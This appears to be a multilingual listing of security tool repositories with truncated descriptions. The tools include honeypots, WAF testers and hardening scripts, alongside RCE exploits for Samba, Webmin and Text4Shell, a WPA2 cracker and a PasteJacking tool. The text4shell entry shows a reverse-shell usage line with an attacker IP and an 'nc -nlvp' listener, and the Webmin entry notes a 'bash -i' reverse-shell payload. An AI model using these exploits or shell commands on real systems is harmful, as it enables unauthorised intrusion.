heffalump

Heffalump Heffalump はエンドレスハニーポットであり、悪意のあるボットに悪夢を与えます。使用するには、robots.txt で特定の URL にアクセスしないように指定します（heffalump はその URL をリバースプロキシしています）。その URL にアクセスした Web エージェントは、無限のランダムデータを受け取ります。これにより、最大バッファサイズが設定されていない場合、メモリやストレージがオーバーフローし、少なくとも時間を大幅に浪費します。 ハニーポットデータのソースは Once On a Time であり、A. A...

CVE-2007-2447

ExploitDev 之旅 6 | CVE-2007-2447 | Samba 3.0.20 3.0.25rc 'Username' map script' 命令执行 原始漏洞利用：https://www.exploit-db.com/exploits/16320 漏洞利用名称： Samba username map script RCE CVE： 2007-2447 靶机： Lame - HackTheBox 描述 在低于 3.0.25 的 Samba 版本中存在一个漏洞，攻击者可以通过向 SMB 服务器发送畸形的请求作为用户名来执行系统命令。 工作原理 以下是使用 nohup...

CVE-2012-2982-Exploit-Script

CVE-2012-2982-Exploit-Script 一个简短而精炼的漏洞利用脚本，用于 /file/show.cgi/bin 端点中的 CVE-2012-2982 已认证远程代码执行 RCE 漏洞。 Webmin RCE 漏洞利用 — CVE-2012-2982 本仓库包含针对 Webmin 🧠 注意事项 载荷默认为 bash -i 反向 shell。 注入载荷末尾的 | 对成功执行至关重要。 已在 Webmin 1.580 上测试，很可能适用于更早版本。 🔒 免责声明 仅 供教育和授权测试使用。 未经授权使用此漏洞利用程序是非法且不道德的。对此我不承担任何责任。...

LeakValue

Android 13 引入了许多增强功能，以强化 Parcel 序列化机制 这是 Android 安全与隐私团队关于所做改进的演示 这很棒，绝对能消除许多漏洞或使其无法利用。同时，他们描述了如何攻破我之前的利用程序，该程序允许应用将代码加载到其他应用（包括系统应用）中 但现在我带着一个新利用程序回来了，它能以不同的方式实现同样的效果。它依赖于上述 Parcel 强化期间引入的以下漏洞： CVE-2022-20452 公告, 补丁 CVE-2022-20474 公告, 补丁 !应用显示文本的截图。标题：LeakValue。正文：创建了 6 个 ValueLeaker。正在锁定...

SambaCry

SambaCry CVE-2017-7494.nse - Script de detección de Nmap...

text4shell-exploit

text4shell-exploit 一个基于Python的定制化概念验证（PoC）利用程序，针对Text4Shell（CVE-2022-42889），这是Apache Commons Text版本 示例 python3 text4shell.py 127.0.0.1 192.168.1.2 4444 确保在攻击机上设置监听器： nc -nlvp 4444 有效载荷逻辑 该脚本注入： $script:javascript:java.lang.Runtime.getRuntime.exec... 通过POST请求的/data参数发送反弹Shell。...

kin

A new foundation for code. Kin is a graph-native code repository for people and AI agents. It stores source, recorded code relationships, and versioned history as repository state. The graph is the repository model, not a search index maintained beside another repository. Functions, types, and th...

gotestwaf

GoTestWAF GoTestWAF is a tool for API and OWASP attack simulation that supports a wide range of API protocols including REST, GraphQL, gRPC, SOAP, XMLRPC, and others. It was designed to evaluate web application security solutions, such as API security proxies, Web Application Firewalls, IPS, API...

gotestwaf

GoTestWAF GoTestWAFは、APIおよびOWASP攻撃シミュレーション用のツールであり、 REST、GraphQL、gRPC、SOAP、XMLRPCなど、幅広いAPIプロトコルをサポートしています。 これは、APIセキュリティプロキシ、Webアプリケーションファイアウォール、 IPS、APIゲートウェイなどのWebアプリケーションセキュリティソリューションを評価するために設計されました。 仕組み 要件 Dockerでのクイックスタート 評価結果の確認 デモ GoTestWAFを実行するその他のオプション 設定オプション OWASP Core Rule...

Go-RouterSocks

Router socks マシンを侵害した後の次のステップは、背後にあるネットワークを列挙することです。攻撃者のマシンにsocksポートを公開し、すべてのトラフィックを侵害したマシンへのトンネル経由で送信するツールは多数存在します。複数のsocksポートが利用可能な場合、ターゲットとするネットワークを選択するために異なるproxychains設定を管理する必要があります。このツールは1つのsocksポートを公開し、設定されたパスを通してトラフィックをルーティングします。...

gosentry

gosentry gosentry is a security-focused fork of the Go toolchain, integrating numerous features for state-of-the-art fuzzing campaigns on Go codebases. If you were using go test -fuzz before, you should use gosentry as a replacement. It comes with various fuzzing improvements and bug detectors th...

pmkidcracker

PMKID WPA2 Cracker This program is a tool written in Python to recover the pre-shared key of a WPA2 WiFi network without any de-authentication or requiring any clients to be on the network. It targets the weakness of certain access points advertising the PMKID value in EAPOL message 1. Program...

CVE-Factory

CVE-Factory: Escalando Tareas Agénticas de Nivel Experto para Vulnerabilidades de Seguridad en Código CVE-Factory es un sistema Multi-Agente para la reproducción de CVEs totalmente automatizada y de extremo a extremo. Dados los registros CVE, el sistema investiga automáticamente los detalles,...

chaps

CHAPS: Configuration Hardening Assessment PowerShell Scripts CHAPS is a set of read-only scripts for checking Windows system security configuration where additional assessment software such as Microsoft Policy Analyzer or commercial tools cannot be installed. It is designed for Industrial Control...

Adversarial-Detection-Engineering-Framework

Adversarial Detection Engineering ADE Framework Get ahead of False Negatives by understanding how detection logic fails before threat actors abuse it. Check out the website: https://adeframework.org/ What Is ADE? Adversarial Detection Engineering ADE is the discipline of reasoning about False...

PrivescCheck

PrivescCheck Quickly identify common Windows vulnerabilities and configuration issues that are not necessarily covered by public security standards, and collect useful information for exploitation and post-exploitation tasks. !IMPORTANT A major aspect to be aware of when using this tool is that a...

zafrida-ui

中文 | English ZAFrida UI - PyCharm Frida Plugin 現在のバージョン: 0.3.7 0.3.7 の主な更新 各 ZAFrida Project で Python/Frida 環境を個別に選択または共有可能。デフォルトでは現在の PyCharm プロジェクトのインタープリタを使用し、venv、Conda、uv、Poetry、Pipenv、Hatch などのローカル環境に対応。 Session UI と Project Settings を再設計し、プラグイン、Python、Frida...

aura-inspector

aura-inspector 这不是一款官方支持的 Google 产品。该项目不符合 Google 开源软件漏洞奖励计划 的参与资格。 简介 aura-inspector 是 Salesforce Experience Cloud 测试的瑞士军刀。它有助于发现配置错误的 Salesforce Experience Cloud 应用程序，并自动执行大量测试过程。更多信息，请参阅 Mandiant 博客文章：Auditing Salesforce Aura Data Exposure。 其部分功能包括： 从访客和已认证上下文中发现可访问的记录 能够使用未记录的 GraphQL Aura...

PasteJacker

PasteJacker このツールの主な目的は、PasteJacking/クリップボードポイズニング/などと呼ばれる攻撃を自動化し、この攻撃で使われる既知のトリックをすべて1か所に集め、1つの自動化されたジョブで実行することです。調べたところ、この仕事を正しく行うツールが存在しなかったからです 😄 さて、この攻撃はユーザーが何を貼り付けるかに依存するため、Metasploitのweb-deliveryモジュールのアイデアをツールに実装しました。ユーザーがターミナルに貼り付けると、あなたはそのデバイス上でmeterpreterセッションを取得できます 😄 YouTubeでチュートリアルを見...

LOLDrivers

LOLDrivers - Living Off The Land Drivers 🚗💨 Welcome to LOLDrivers Living Off The Land Drivers, an exciting open-source project that brings together vulnerable, malicious, and known malicious Windows drivers in one comprehensive repository. Our mission is to empower organizations of all sizes with...